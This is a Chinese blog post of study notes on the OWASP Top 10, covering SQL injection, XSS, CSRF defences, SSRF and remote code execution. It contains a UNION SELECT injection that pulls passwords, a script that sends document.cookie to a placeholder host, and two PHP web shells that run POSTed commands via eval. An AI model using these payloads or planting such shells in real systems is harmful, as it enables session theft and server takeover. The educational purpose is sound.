OWASP TOP 10

在这里插入图片描述

SQL注入

如何发现SQL注入?

eg:
select * from table order by 5; ->无结果
select * from table order by 4; ->有结果
可知数据库表一共有五列

UNION SELECT
用法如:www.study.com/?id=1 UNION SELECT 1,2,3,PASSWORD FROM USERS

盲注

在这里插入图片描述

举例:
在这里插入图片描述
在这里插入图片描述
真返回1 假返回2

XSS攻击

跨站脚本攻击(cross site scripting) 不和层叠样式表CSS混淆,改为XSS
攻击者往web页面中插入恶意script代码,用户浏览网站时嵌入其中的script代码会自动执行,实现恶意攻击

session&cookie

x

XSS实例
<script>
     var cook=document.cookie;
     var img = '<img src = http://www.study.com/get.php?cook='+cook+'>';
     document.write(img);
</script>

DOM XSS

基于文档类型(DOM)造成的XSS攻击
y由于文档的输入、输出点没有做过滤,可以插入js代码在客户端执行
常见可控对象:

  • document.location
  • ducument.URL
  • window.location

eg:XSS蠕虫
利用Ajax技术构造异步请求页面,处理响应而不阻塞用户
比如在搜索框输入aa自动联想搜索条目,都是Ajax请求,页面并没有刷新,联想都是动态改变的

如何防御XSS
过滤<>,#&,javascript等

如何防御CSRF(跨站请求伪造)
1、验证码
2、验证referer/token
3、设置跨域权限

SSRF

server-side request forgery
某些应用需要调用其他服务器上的资源,需要传入一个目标地址供服务器去请求,假设这个目标地址被攻击者控制,就可以访问促使服务器访问内网的其他服务。

远程文件读取
shell.php

<?php
$s = $_POST['url'];
$s = file_get_contents($s);
$s($_POST['cmd']);

ec.php

<?php
eval($_POST['cmd']);
?>

远程代码执行

客户端向服务器发送恶意请求,该请求内容中有服务器端可执行的代码,服务器端接受请求后未对来源数据做出过滤、拦截操作,从而造成代码执行漏洞

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值